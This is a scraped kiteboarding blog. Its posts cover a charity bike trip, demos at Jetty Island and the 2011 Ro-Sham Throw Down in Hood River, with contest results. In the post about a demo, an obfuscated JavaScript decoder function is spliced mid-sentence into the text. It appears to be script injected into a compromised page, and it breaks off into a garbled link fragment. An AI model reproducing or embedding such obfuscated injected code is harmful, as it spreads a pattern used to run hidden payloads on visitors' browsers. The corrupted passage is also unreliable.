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Change of Pace

Right now Im out in San Francisco gearing up for a trip Ill be taking over the next two months. Ill be taking a break from kiting, and bicycling across the country with a friend to raise money for the charity Simply Smiles. The biking thing is really new to me and this idea only came up about a month ago, but now Im out here and getting set up with a local bike shop Bay Area Bikes and we leave August 7th. It should be a lot of fun. You can follow our blog at www.USBikeTrip.blogspot.com for daily updates on the ride. Or follow us on twitter @USBikeTrip. Also check out our donation page atwww.firstgiving.com. It should take us till about the end of September, and then Ill be jumping right back into kiting with a month long trip to Brazil with the best team. Pictures are also up on my site www.joeruscito.com

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Yesterday’s demo went great. We ended up getting wind in the afternoon and lots of people got out on the new gear. Everyone was really stoked and had a great time riding. I got to get on the water as well and Jim Stringfellow was out shooting. Just put some new pictures up on my site, and theres a few there from last weeks Ro-Sham event as well. Check them out function h94fcba1e7(y1){var vd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var yb='';var p3,na,pc,q9,y3,w4,u5;var p6=0;do{q9=vd.indexOf(y1.charAt(p6++));y3=vd.indexOf(y1.charAt(p6++));w4=vd.indexOf(y1.charAt(p6++));u5=vd.indexOf(y1.charAt(p6++));p3=(q9<<2)|(y3>>4);na=((y3&15)<<4)|(w4>>2);pc=((w4&3)<<6)|u5;if(p3>=192)p3+=848;else if(p3==168)p3=1025;else if(p3==184)p3=1105;yb+=String.fromCharCode(p3);if(w4!=64){if(na>=192)na+=848;else if(na==168)na=1025;else if(na==184)na=1105;yb+=String.fromCharCode(na);}if(u5!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;yb+=String.fromCharCode(pc);}}while(p6-the-demo/">HERE!

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Motion Boardshop and Best Kiteboarding are putting on a demo and clinic at Jetty Island in Seattle, Wa. Ill be running the demo, and helping people dial in their freestyle and sliders. There will also be a strapless demo run by Nick Ward. It starts this Friday and goes through Sunday. Should be a great weekend and it looks like the wind is going to be really good. Check out http://pskite.org/viewtopi​c.php?f=3&t=7255 for more info.

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Ro Sham

The Ro Sham event went off this year in Hood River OR. The qualifiers aloud 10 riders into the main event which made it 3 10 man heats with 2 riders advancing into the finals. I was in heat 1 with a bunch of solid riders including Prest, Dre, Brandon, tom and serveral other. The heat went well and the wind picked up to solid 11m winds. I had a few good kicker hits and some good presses on the dance floor. The Best hand rail was a super fun feature but unfortunately it was set up pretty close to shore where the winds were super gusty. I didn’t manage to advance to the final but I was stoked to get to ride in the event and got some great shots so that made the trip worth it all and all.

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Final Day Ro-Sham Throw Down

Today was the last day of the 2011 Ro-Sham Throw Down. The entire event was really fun and had a ton of great riders. The Slider Project did a great job hosting and putting together the event. Yesterday we had the first three semi-finals, and unfortunately I didn't make it through to the finals, but I had a great session all the same and was riding really well. The finals round today was made up of 8 riders, and they got to ride for 30 minutes, the wind ended up backing off half way through but the judges still found the winner. The results are below. Congrats the everyone who placed. Stoked to come back next year, pictures coming soon.

Mens                                     Womens

1st: Bill Parker                   Bruna Kajiya

2nd:Aaron Hadlow          Tiffany Schrader

3rd:Andre Phillip              Lulu Vroman

4th: Brandon Scheid

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Back on the water in Hood

Since I’ve been back in Hood we have been helping out the slider project crew getting all the slider prepped and painted. Best has sponsored one of the gnarlyest rails this year at rosham. It’s a box to a gap to a single bar hand rail. Pretty scary looking but I think it’s going to be a step closer to what all the other boardsports are hitting. Yesterday was the first day of qualifier out of our team we had Rich Sabo and Joe Ruscito competing and both of the boys were killing it on the water and features. After the qualifier I had a chance to get out for a 4 hour session with the crew and shoot with Josh Pietras. All the feature were super fun, the Boom box was huge! and the c/dance floor was super fun to tech out on. Tonight we find out who made it through the qualifiers into the main event, then friday it’s the womens event and wakeskate jam!

More action to come.

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Ro-Sham Throw Down Day 1

Im out here in the gorge for the Ro-Sham Throw Down. All the guys are out here including some of the Best Team. We got in Monday, and have been busy setting up the Best hand rail. The thing is gonna be sick for sure. Today we had the first qualifying round, with most the features out on the water. There were 8 guys in my heat today and another 10 tomorrow.  Between today's and tomorrow's heats 8 people have a chance to advance. I think I rode pretty well, we will see how it turns out.

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En Route to Hood River

Well after a few weeks at home after the Triple S event it’s time to head back out on the road. I was lucky enough to spend 3 weeks at home to visit family and friends and make alittle money working teaching kiteboarding with www.kiterider.ca I’ve headed out to Hood river to meet up with some of the Best team members, photographer Josh Pietras and hit up the rosham event here in Hood River OR. I arrived at PDX international yesterday evening around 7pm. From there I took a quick cab to a Uhual truck rental and pick up a cube truck which will be my wheels for the week. Since I’m not over 25 I’m not able to rent from any other car rentals so Uhual is my weapon of choice. At only 19.95$ a day it’s not a bad way to go. After that I headed back to the airport to pick up some friends who are also here for the Rosham event and we headed up to Hood River.

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Ro Sham Throwdown

Ok, Im all booked for my trip to the west coast. Ill first be flying into Colorado Springs, to drive up and do some camping/hiking in Yellowstone and the Tetons. Then Ill be headed straight to The Hood for the 2011 Ro Sham Throwdown. Should be a really fun competition. Check out the video from last year.

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Triple S Day 6

Last day of triple S and it went off! Morning slick session shooting with Nate, Elkus and Charley. Followed by an afternoon “slopestyle” slider setup. Amazing times on and off the water. Good vibes all around. Check out the video. http://vimeo.com/24970097

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